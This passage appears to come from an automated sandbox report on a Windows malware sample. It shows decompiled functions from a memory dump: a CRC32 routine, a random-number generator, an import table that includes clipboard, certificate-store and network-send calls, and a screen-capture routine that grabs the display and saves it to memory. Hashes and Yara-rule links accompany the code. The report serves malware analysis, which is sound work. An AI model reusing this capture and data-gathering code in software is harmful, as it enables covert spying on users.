0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[5] & 0x000000ff ^ ((((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[3] & 0x000000ff ^ ((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[4] & 0x000000ff ^ (((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[3] & 0x000000ff ^ ((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[6] & 0x000000ff ^ (((((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[3] & 0x000000ff ^ ((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[4] & 0x000000ff ^ (((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[3] & 0x000000ff ^ ((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[5] & 0x000000ff ^ ((((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[3] & 0x000000ff ^ ((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[4] & 0x000000ff ^ (((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[3] & 0x000000ff ^ ((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4);
							_t72 =  &(_t72[8]);
							_t75 = _t75 - 8;
							_t82 = _t82 - 1;
						} while (_t82 != 0);
					}
					if(_t75 != 0) {
						do {
							_t27 = _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4);
							_t72 =  &(_t72[1]);
							_t75 = _t75 - 1;
						} while (_t75 != 0);
					}
					return  !_t27;
				} else {
					return 0;
				}
			}

0x0040bfbe
0x0040bfbf
0x0040bfc3
0x0040bfca
0x0040bfd4
0x0040bfdc
0x0040bfe0
0x0040c068
0x0040c06f
0x0040c072
0x0040c075
0x0040c075
0x0040c07c
0x0040c07f
0x0040c081
0x0040c08b
0x0040c092
0x0040c093
0x0040c093
0x0040c081
0x0040c09a
0x0040bfc5
0x0040bfc8
0x0040bfc8

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1103dc5ff8ca2b6a271cd805365b7b68ca7aa945f747fe200d71fa5a7de0ea74
Instruction ID: d81dbda53e99522fcf6acec9a3a62448996415181733184e5f531c91f30aaf9f
Opcode Fuzzy Hash: 1103dc5ff8ca2b6a271cd805365b7b68ca7aa945f747fe200d71fa5a7de0ea74
Instruction Fuzzy Hash: 0E21D521BB0AE246C7558BF8FDC011237D1CBCA31635D8675EE90EA1B1D07ED6A28964

Uniqueness

Uniqueness Score: -1.00%

Function 0040F3E6, Relevance: .1, Instructions: 70
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0040F3E6() {
				signed int _t23;
				signed int _t43;
				signed int _t59;
				signed int _t60;
				signed int* _t63;
				signed int _t64;

				_t23 =  *0x4237f0; // 0x0
				if(_t23 >= 0x270) {
					_t64 = 0;
					do {
						_t59 = _t64;
						_t64 = _t64 + 1;
						0x422de8[_t59] = (( *(0x422dec + _t59 * 4) ^ 0x422de8[_t59]) & 0x7fffffff ^ 0x422de8[_t59]) >> 0x00000001 ^  *(0x422178 + ((( *(0x422dec + _t59 * 4) ^ 0x422de8[_t59]) & 0x7fffffff ^ 0x422de8[_t59]) & 0x00000001) * 4) ^  *(0x42341c + _t59 * 4);
					} while (_t64 < 0xe3);
					if(_t64 < 0x26f) {
						_t63 =  &(0x422de8[_t64]);
						do {
							 *_t63 =  *(0x422178 + ((( *_t63 ^ _t63[1]) & 0x7fffffff ^  *_t63) & 0x00000001) * 4) ^  *(_t63 - 0x38c) ^ (( *_t63 ^ _t63[1]) & 0x7fffffff ^  *_t63) >> 0x00000001;
							_t63 =  &(_t63[1]);
						} while (_t63 < 0x4237a4);
					}
					_t60 =  *0x4237a4; // 0x0
					_t43 =  *0x422de8; // 0x0
					 *0x4237a4 = ((_t43 ^ _t60) & 0x7fffffff ^ _t60) >> 0x00000001 ^  *(0x422178 + (((_t43 ^ _t60) & 0x7fffffff ^ _t60) & 0x00000001) * 4) ^  *0x423418;
					_t23 = 0;
				}
				 *0x4237f0 = _t23 + 1;
				return (0x422de8[_t23] ^ 0x422de8[_t23] >> 0x0000000b ^ ((0x422de8[_t23] ^ 0x422de8[_t23] >> 0x0000000b) & 0xff3a58ad) << 0x00000007 ^ ((0x422de8[_t23] ^ 0x422de8[_t23] >> 0x0000000b ^ ((0x422de8[_t23] ^ 0x422de8[_t23] >> 0x0000000b) & 0xff3a58ad) << 0x00000007) & 0xffffdf8c) << 0x0000000f) >> 0x00000012 ^ 0x422de8[_t23] ^ 0x422de8[_t23] >> 0x0000000b ^ ((0x422de8[_t23] ^ 0x422de8[_t23] >> 0x0000000b) & 0xff3a58ad) << 0x00000007 ^ ((0x422de8[_t23] ^ 0x422de8[_t23] >> 0x0000000b ^ ((0x422de8[_t23] ^ 0x422de8[_t23] >> 0x0000000b) & 0xff3a58ad) << 0x00000007) & 0xffffdf8c) << 0x0000000f;
			}

0x0040f3e6
0x0040f3f0
0x0040f3f8
0x0040f3ff
0x0040f3ff
0x0040f42d
0x0040f42e
0x0040f435
0x0040f443
0x0040f445
0x0040f44c
0x0040f46b
0x0040f46d
0x0040f470
0x0040f44c
0x0040f478
0x0040f47e
0x0040f49f
0x0040f4a4
0x0040f4a4
0x0040f4ae
0x0040f4d9

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bfd98fde78ad19f784a74bc83c1fa11645cb745c5874ed3d832abddf203f512
Instruction ID: 9cad87b4eb68fbff3416e3dd061388b928d6f4c282aa86beda9ac098641c73a3
Opcode Fuzzy Hash: 6bfd98fde78ad19f784a74bc83c1fa11645cb745c5874ed3d832abddf203f512
Instruction Fuzzy Hash: 4F219D723304009BD768DF39ED65A5633E2EB8931439A847DD616C32A0DB79E913CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0040D447, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0040D447() {
				void* __ebx;
				intOrPtr _t1;
				signed int _t12;
				void* _t14;
				void* _t15;

				_t1 =  *0x4222cc;
				if(_t1 == 0) {
					_t1 =  *0x4222c8;
					 *0x42201c = E00415563;
				} else {
					 *0x42201c = E0041561A;
				}
				 *0x422018 = _t1;
				 *0x422028 =  *0x4222d8;
				 *0x422038 = GetFileAttributesExW;
				 *0x422048 = __imp__#3;
				 *0x422058 = __imp__#19;
				 *0x422068 = __imp__WSASend;
				 *0x422078 = TranslateMessage;
				_push(0x422018);
				 *0x422088 = GetClipboardData;
				_t12 = 9;
				 *0x422098 = __imp__PFXImportCertStore;
				return E0040D3B6(_t12, _t14, _t15);
			}

0x0040d447
0x0040d44e
0x0040d45c
0x0040d461
0x0040d450
0x0040d450
0x0040d450
0x0040d46b
0x0040d475
0x0040d47f
0x0040d489
0x0040d493
0x0040d49d
0x0040d4a8
0x0040d4b2
0x0040d4b7
0x0040d4c3
0x0040d4c4
0x0040d4cf

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1622d5baa701031eae1d24c6c987e2f905538ed7063d5e89b900090c4244ae01
Instruction ID: a1595b8079860d57c074121b6c6d92fd101ec3a8bd7351e572c814ff96710c66
Opcode Fuzzy Hash: 1622d5baa701031eae1d24c6c987e2f905538ed7063d5e89b900090c4244ae01
Instruction Fuzzy Hash: 6E0128B4B00240EFE360DF69EA80A5037E0A3087507E0417AEA08E7771D3B5A58ADB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00409736, Relevance: 82.6, APIs: 27, Strings: 20, Instructions: 391
libraryloaderwindowCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E00409736(WCHAR* _a4, char _a8, signed short _a12) {
				struct HINSTANCE__* _v12;
				_Unknown_base(*)()* _v16;
				_Unknown_base(*)()* _v20;
				void* _v24;
				void* _v28;
				_Unknown_base(*)()* _v32;
				_Unknown_base(*)()* _v36;
				struct tagPOINT _v44;
				_Unknown_base(*)()* _v48;
				struct HINSTANCE__* _v52;
				struct HINSTANCE__* _v56;
				_Unknown_base(*)()* _v60;
				_Unknown_base(*)()* _v64;
				_Unknown_base(*)()* _v68;
				_Unknown_base(*)()* _v72;
				struct HINSTANCE__* _v76;
				_Unknown_base(*)()* _v80;
				_Unknown_base(*)()* _v84;
				_Unknown_base(*)()* _v88;
				struct HINSTANCE__* _v92;
				struct HINSTANCE__* _v96;
				struct HINSTANCE__* _v100;
				char _v104;
				_Unknown_base(*)()* _v108;
				intOrPtr _v112;
				char _v116;
				_Unknown_base(*)()* _v120;
				char _v148;
				signed int _v152;
				struct _ICONINFO _v172;
				char _v188;
				_Unknown_base(*)()* _t165;
				struct HINSTANCE__* _t170;
				_Unknown_base(*)()* _t171;
				_Unknown_base(*)()* _t180;
				_Unknown_base(*)()* _t186;
				struct HICON__* _t188;
				signed int _t189;
				intOrPtr _t191;
				intOrPtr _t193;
				void* _t195;
				void* _t212;
				intOrPtr* _t213;
				void* _t228;
				struct HINSTANCE__* _t236;
				struct HINSTANCE__* _t237;
				signed short _t238;
				intOrPtr _t239;
				WCHAR** _t240;
				void* _t241;
				unsigned int _t253;
				intOrPtr _t257;
				signed int _t258;
				signed int _t261;
				void* _t264;

				_v28 = 0;
				_v56 = 0;
				_v52 = 0;
				_v104 = 1;
				_v100 = 0;
				_v96 = 0;
				_v92 = 0;
				_t236 = LoadLibraryA("gdiplus.dll");
				_v76 = _t236;
				_v20 = GetProcAddress(_t236, "GdiplusStartup");
				_v68 = GetProcAddress(_t236, "GdiplusShutdown");
				_v72 = GetProcAddress(_t236, "GdipCreateBitmapFromHBITMAP");
				_v60 = GetProcAddress(_t236, "GdipDisposeImage");
				_v32 = GetProcAddress(_t236, "GdipGetImageEncodersSize");
				_v88 = GetProcAddress(_t236, "GdipGetImageEncoders");
				_t165 = GetProcAddress(_t236, "GdipSaveImageToStream");
				_v108 = _t165;
				if(_v20 == 0 || _v68 == 0 || _v72 == 0 || _v60 == 0 || _v32 == 0 || _v88 == 0 || _t165 == 0) {
					L67:
					if(_t236 != 0) {
						FreeLibrary(_t236);
					}
					if(_v56 != 0) {
						FreeLibrary(_v56);
					}
					if(_v52 != 0) {
						FreeLibrary(_v52);
					}
					return _v28;
				} else {
					_t170 = LoadLibraryA("ole32.dll");
					_v56 = _t170;
					_t171 = GetProcAddress(_t170, "CreateStreamOnHGlobal");
					_v120 = _t171;
					if(_t171 == 0) {
						goto L67;
					}
					_t237 = LoadLibraryA("gdi32.dll");
					_v52 = _t237;
					_v12 = GetProcAddress(_t237, "CreateDCW");
					_v16 = GetProcAddress(_t237, "CreateCompatibleDC");
					_v36 = GetProcAddress(_t237, "CreateCompatibleBitmap");
					_v24 = GetProcAddress(_t237, "GetDeviceCaps");
					_v48 = GetProcAddress(_t237, "SelectObject");
					_v84 = GetProcAddress(_t237, "BitBlt");
					_v80 = GetProcAddress(_t237, "DeleteObject");
					_t180 = GetProcAddress(_t237, "DeleteDC");
					_v64 = _t180;
					if(_v12 == 0 || _v16 == 0 || _v36 == 0 || _v24 == 0 || _v48 == 0 || _v84 == 0 || _v80 == 0 || _t180 == 0) {
						L66:
						_t236 = _v76;
						goto L67;
					} else {
						_push(0);
						_push( &_v104);
						_push( &_v116);
						_v104 = 1;
						_v100 = 0;
						_v96 = 0;
						_v92 = 0;
						if(_v20() != 0) {
							goto L66;
						}
						_t257 = _v12(L"DISPLAY", 0, 0, 0);
						_v20 = _t257;
						if(_t257 == 0) {
							L65:
							_v68(_v116);
							goto L66;
						}
						_t186 = _v16(_t257);
						_v16 = _t186;
						if(_t186 == 0) {
							L64:
							_v64(_v20);
							goto L65;
						}
						_t188 = LoadImageW(0, 0x7f00, 2, 0, 0, 0x8040);
						_v12 = _t188;
						if(_t188 == 0) {
							L24:
							_t238 = 0;
							goto L26;
						} else {
							if(GetIconInfo(_t188,  &_v172) == 0 || GetCursorPos( &_v44) == 0) {
								_v12 = 0;
							}
							if(_v12 != 0) {
								_t238 = _a12;
								L26:
								if(_t238 == 0) {
									_t189 = _v24(_t257, 8);
									_t258 = _t189;
									_a12 = _v24(_v20, 0xa);
								} else {
									_t258 = _t238 & 0x0000ffff;
									_a12 = _t258;
								}
								_t191 = _v36(_v20, _t258, _a12);
								_v36 = _t191;
								if(_t191 == 0) {
									L63:
									_v64(_v16);
									goto L64;
								} else {
									_t193 = _v48(_v16, _t191);
									_v112 = _t193;
									if(_t193 == 0) {
										L62:
										_v80(_v36);
										goto L63;
									}
									_t195 = 0;
									_t241 = 0;
									if(_t238 != 0) {
										_t253 = (_t238 & 0x0000ffff) >> 1;
										_t195 =  <  ? 0 : _v44.x - _t253;
										_t241 =  <  ? 0 : _v44.y - _t253;
										_t71 =  &_v44;
										 *_t71 = _v44.x - _t195;
										if( *_t71 < 0) {
											_v44.x = 0;
										}
										_t74 =  &(_v44.y);
										 *_t74 = _v44.y - _t241;
										if( *_t74 < 0) {
											_v44.y = 0;
										}
									}
									_push(0x40cc0020);
									_push(_t241);
									_push(_t195);
									_push(_v20);
									_push(_a12);
									_push(_t258);
									_push(0);
									_push(0);
									_push(_v16);
									if(_v84() == 0) {
										L61:
										_v48(_v16, _v112);
										goto L62;
									} else {
										if(_v12 != 0) {
											_t247 =  <  ? 0 : _v44.x - _v172.xHotspot;
											_t228 = _v44.y - _v172.yHotspot;
											_t229 =  <  ? 0 : _t228;
											DrawIcon(_v16,  <  ? 0 : _v44.x - _v172.xHotspot,  <  ? 0 : _t228, _v12);
										}
										_push( &_v12);
										_push(0);
										_push(_v36);
										_v12 = 0;
										if(_v72() != 0 || _v12 == 0) {
											goto L61;
										} else {
											_push( &_v24);
											_push( &_a12);
											_a12 = 0;
											_v24 = 0;
											if(_v32() != 0) {
												L60:
												_v60(_v12);
												goto L61;
											}
											_t204 = _v24;
											if(_v24 == 0 || _a12 == 0) {
												goto L60;
											} else {
												_t239 = E0040E205(_t204);
												_v32 = _t239;
												if(_t239 == 0) {
													goto L60;
												}
												_push(_t239);
												_push(_v24);
												_push(_a12);
												if(_v88() != 0) {
													L52:
													E0040E235(_v32);
													if(_a12 == 0) {
														_push( &_v28);
														_push(1);
														_push(0);
														if(_v120() == 0 && _v28 != 0) {
															_v152 = 0;
															if(_a8 > 0) {
																E0040E271( &_v148, 0x403934, 0x10);
																 *((intOrPtr*)(_t264 + _v152 * 0x1c - 0x7c)) = 4;
																 *((intOrPtr*)(_t264 + _v152 * 0x1c - 0x80)) = 1;
																 *((intOrPtr*)(_t264 + _v152 * 0x1c - 0x78)) =  &_a8;
																_v152 = _v152 + 1;
															}
															_t212 = _v108(_v12, _v28,  &_v188,  &_v152);
															_t213 = _v28;
															if(_t212 == 0) {
																 *((intOrPtr*)( *_t213 + 0x14))(_t213, 0, 0, 0, 0);
															} else {
																 *((intOrPtr*)( *_t213 + 8))(_t213);
																_v28 = 0;
															}
														}
													}
													goto L60;
												}
												_t261 = 0;
												if(_a12 <= 0) {
													goto L52;
												}
												_t240 = _t239 + 0x30;
												while(lstrcmpiW(_a4,  *_t240) != 0) {
													_t261 = _t261 + 1;
													_t240 =  &(_t240[0x13]);
													if(_t261 < _a12) {
														continue;
													}
													goto L52;
												}
												E0040E271( &_v188, _t261 * 0x4c + _v32, 0x10);
												_a12 = 0;
												goto L52;
											}
										}
									}
								}
							}
							goto L24;
						}
					}
				}
			}

0x00409749
0x0040974c
0x0040974f
0x00409752
0x00409759
0x0040975c
0x0040975f
0x0040976e
0x00409776
0x00409781
0x0040978c
0x00409797
0x004097a2
0x004097ad
0x004097b8
0x004097bb
0x004097bd
0x004097c3
0x00409ba9
0x00409bb1
0x00409bb4
0x00409bb4
0x00409bb9
0x00409bbe
0x00409bbe
0x00409bc3
0x00409bc8
0x00409bc8
0x00409bd1
0x004097fe
0x00409803
0x0040980f
0x00409812
0x00409814
0x00409819
0x00000000
0x00000000
0x0040982a
0x00409832
0x0040983d
0x00409848
0x00409853
0x0040985e
0x00409869
0x00409874
0x0040987f
0x00409882
0x00409884
0x0040988a
0x00409ba6
0x00409ba6
0x00000000
0x004098ce
0x004098ce
0x004098d2
0x004098d6
0x004098d7
0x004098de
0x004098e1
0x004098e4
0x004098ec
0x00000000
0x00000000
0x004098fd
0x004098ff
0x00409904
0x00409ba0
0x00409ba3
0x00000000
0x00409ba3
0x0040990b
0x0040990e
0x00409913
0x00409b9a
0x00409b9d
0x00000000
0x00409b9d
0x00409928
0x0040992e
0x00409933
0x0040995d
0x0040995d
0x00000000
0x00409935
0x00409945
0x00409955
0x00409955
0x0040995b
0x00409961
0x00409964
0x00409967
0x00409974
0x0040997c
0x00409981
0x00409969
0x00409969
0x0040996c
0x0040996c
0x0040998b
0x0040998e
0x00409993
0x00409b94
0x00409b97
0x00000000
0x00409999
0x0040999d
0x004099a0
0x004099a5
0x00409b8e
0x00409b91
0x00000000
0x00409b91
0x004099ab
0x004099ad
0x004099b2
0x004099bd
0x004099c1
0x004099c6
0x004099c9
0x004099c9
0x004099cc
0x004099ce
0x004099ce
0x004099d1
0x004099d1
0x004099d4
0x004099d6
0x004099d6
0x004099d4
0x004099d9
0x004099de
0x004099df
0x004099e0
0x004099e3
0x004099e6
0x004099e7
0x004099e8
0x004099e9
0x004099f1
0x00409b85
0x00409b8b
0x00000000
0x004099f7
0x004099fa
0x00409a0b
0x00409a0e
0x00409a14
0x00409a1c
0x00409a1c
0x00409a25
0x00409a26
0x00409a27
0x00409a2a
0x00409a32
0x00000000
0x00409a41
0x00409a44
0x00409a48
0x00409a49
0x00409a4c
0x00409a54
0x00409b7f
0x00409b82
0x00000000
0x00409b82
0x00409a5a
0x00409a5f
0x00000000
0x00409a6e
0x00409a73
0x00409a75
0x00409a7a
0x00000000
0x00000000
0x00409a80
0x00409a81
0x00409a84
0x00409a8c
0x00409aca
0x00409acd
0x00409ad5
0x00409ade
0x00409ae2
0x00409ae3
0x00409ae9
0x00409af8
0x00409b01
0x00409b11
0x00409b1f
0x00409b30
0x00409b40
0x00409b44
0x00409b44
0x00409b5e
0x00409b63
0x00409b66
0x00409b7c
0x00409b68
0x00409b6b
0x00409b6e
0x00409b6e
0x00409b66
0x00409ae9
0x00000000
0x00409ad5
0x00409a8e
0x00409a93
0x00000000
0x00000000
0x00409a95
0x00409a98
0x00409aa7
0x00409aa8
0x00409aae
0x00000000
0x00000000
0x00000000
0x00409ab0
0x00409ac2
0x00409ac7
0x00000000
0x00409ac7
0x00409a5f
0x00409a32
0x004099f1
0x00409993
0x00000000
0x0040995b
0x00409933
0x0040988a

APIs

LoadLibraryA.KERNEL32(gdiplus.dll), ref: 00409762
GetProcAddress.KERNEL32(00000000,GdiplusStartup), ref: 00409779
GetProcAddress.KERNEL32(00000000,GdiplusShutdown), ref: 00409784
